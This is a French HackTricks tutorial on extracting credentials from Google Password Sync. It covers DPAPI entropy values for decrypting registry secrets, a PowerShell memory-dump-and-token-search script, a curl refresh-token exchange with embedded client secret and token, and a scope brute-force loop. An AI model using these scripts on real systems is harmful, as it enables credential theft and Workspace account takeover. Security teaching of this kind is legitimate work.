GPS - Google Password Sync

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Ceci est le binaire et le service que Google propose pour maintenir synchronisĂ©s les mots de passe des utilisateurs entre l’AD et Workspace. Chaque fois qu’un utilisateur change son mot de passe dans l’AD, il est dĂ©fini sur Google.

Il est installĂ© dans C:\Program Files\Google\Password Sync oĂč vous pouvez trouver le binaire PasswordSync.exe pour le configurer et password_sync_service.exe (le service qui continuera Ă  fonctionner).

GPS - Configuration

Pour configurer ce binaire (et service), il est nécessaire de lui donner accÚs à un principal Super Admin dans Workspace :

  • Se connecter via OAuth avec Google et ensuite il stockera un jeton dans le registre (chiffrĂ©)
  • Disponible uniquement sur les contrĂŽleurs de domaine avec interface graphique
  • Fournir des identifiants de compte de service de GCP (fichier json) avec des permissions pour gĂ©rer les utilisateurs de Workspace
  • TrĂšs mauvaise idĂ©e car ces identifiants n’expirent jamais et pourraient ĂȘtre mal utilisĂ©s
  • TrĂšs mauvaise idĂ©e de donner un accĂšs SA sur Workspace car le SA pourrait ĂȘtre compromis dans GCP et il serait possible de pivoter vers Workspace
  • Google l’exige pour les contrĂŽleurs de domaine sans interface graphique
  • Ces identifiants sont Ă©galement stockĂ©s dans le registre

Concernant l’AD, il est possible d’indiquer d’utiliser le contexte d’applications actuel, anonyme ou des identifiants spĂ©cifiques. Si l’option d’identifiants est sĂ©lectionnĂ©e, le nom d’utilisateur est stockĂ© dans un fichier sur le disque et le mot de passe est chiffrĂ© et stockĂ© dans le registre.

GPS - Dumping du mot de passe et du jeton depuis le disque

Tip

Notez que Winpeas est capable de dĂ©tecter GPS, d’obtenir des informations sur la configuration et mĂȘme de dĂ©chiffrer le mot de passe et le jeton.

Dans le fichier C:\ProgramData\Google\Google Apps Password Sync\config.xml, il est possible de trouver une partie de la configuration comme le baseDN de l’AD configurĂ© et le nom d'utilisateur dont les identifiants sont utilisĂ©s.

Dans le registre HKLM\Software\Google\Google Apps Password Sync, il est possible de trouver le jeton de rafraĂźchissement chiffrĂ© et le mot de passe chiffrĂ© pour l’utilisateur AD (le cas Ă©chĂ©ant). De plus, si au lieu d’un jeton, des identifiants SA sont utilisĂ©s, il est Ă©galement possible de les trouver chiffrĂ©s Ă  cette adresse de registre. Les valeurs Ă  l’intĂ©rieur de ce registre ne sont accessibles que par les Administrateurs.

Le mot de passe chiffrĂ© (le cas Ă©chĂ©ant) se trouve dans la clĂ© ADPassword et est chiffrĂ© en utilisant l’API CryptProtectData. Pour le dĂ©chiffrer, vous devez ĂȘtre le mĂȘme utilisateur que celui qui a configurĂ© la synchronisation des mots de passe et utiliser cette entropie lors de l’utilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

Le jeton chiffrĂ© (le cas Ă©chĂ©ant) se trouve dans la clĂ© AuthToken et est chiffrĂ© en utilisant l’API CryptProtectData. Pour le dĂ©chiffrer, vous devez ĂȘtre le mĂȘme utilisateur que celui qui a configurĂ© la synchronisation des mots de passe et utiliser cette entropie lors de l’utilisation de CryptUnprotectData : byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
De plus, il est également encodé en base32hex avec le dictionnaire 0123456789abcdefghijklmnopqrstv.

Les valeurs d’entropie ont Ă©tĂ© trouvĂ©es en utilisant l’outil. Il a Ă©tĂ© configurĂ© pour surveiller les appels Ă  CryptUnprotectData et CryptProtectData et ensuite l’outil a Ă©tĂ© utilisĂ© pour lancer et surveiller PasswordSync.exe qui dĂ©chiffrera le mot de passe et le jeton d’authentification configurĂ©s au dĂ©but et l’outil affichera les valeurs pour l’entropie utilisĂ©e dans les deux cas :

Notez qu’il est Ă©galement possible de voir les valeurs dĂ©chiffrĂ©es dans l’entrĂ©e ou la sortie des appels Ă  ces API Ă©galement (au cas oĂč Ă  un moment donnĂ© Winpeas cesserait de fonctionner).

Dans le cas oĂč la synchronisation des mots de passe a Ă©tĂ© configurĂ©e avec des identifiants SA, elle sera Ă©galement stockĂ©e dans des clĂ©s Ă  l’intĂ©rieur du registre HKLM\Software\Google\Google Apps Password Sync.

GPS - Dumping des jetons depuis la mémoire

Tout comme avec GCPW, il est possible de dumper la mĂ©moire du processus de PasswordSync.exe et des processus password_sync_service.exe et vous pourrez trouver des jetons de rafraĂźchissement et d’accĂšs (s’ils ont dĂ©jĂ  Ă©tĂ© gĂ©nĂ©rĂ©s).
Je suppose que vous pourriez Ă©galement trouver les identifiants configurĂ©s de l’AD.

Dump PasswordSync.exe et les processus password_sync_service.exe et rechercher des jetons ```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( “ya29.[a-zA-Z0-9_.-]{50,}”, “1//[a-zA-Z0-9_.-]{50,}” )

Show EULA if it wasn’t accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn’t exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @(“PasswordSync”, “password_sync_service”) $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output “Dumping process with PID: $processId” & $procdumpPath -accepteula -ma $processId “$dumpFolder\chrome_$processId.dmp” }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter “*.dmp” | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = “$dumpFolder${baseName}_ascii_strings.txt” $unicodeStringsFile = “$dumpFolder${baseName}_unicode_strings.txt”

Write-Output “Extracting strings from $dumpFile” & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output “Match found in file ‘$($info.FilePath)’ on line $($info.LineNumber): $($info.LineText)” } }

Write-Output “” } }

</details>

### GPS - Génération de jetons d'accÚs à partir de jetons d'actualisation

En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accÚs en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

Note

Notez qu’il n’est pas possible de demander n’importe quel scope pour le jeton d’accĂšs mĂȘme en ayant un jeton de rafraĂźchissement, car vous ne pouvez demander que les scopes pris en charge par l’application oĂč vous gĂ©nĂ©rez le jeton d’accĂšs.

De plus, le jeton de rafraüchissement n’est pas valide dans toutes les applications.

Par dĂ©faut, GPS n’aura pas accĂšs en tant qu’utilisateur Ă  tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent ĂȘtre utilisĂ©s avec le refresh_token pour gĂ©nĂ©rer un access_token :

Bash script to brute-force scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

Et voici le résultat que j'ai obtenu au moment de l'écriture :

https://www.googleapis.com/auth/admin.directory.user

Le mĂȘme que celui que vous obtenez si vous n'indiquez aucun champ.

> [!CAUTION]
> Avec ce champ, vous pourriez **modifier le mot de passe d'un utilisateur existant pour élever les privilÚges**.

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>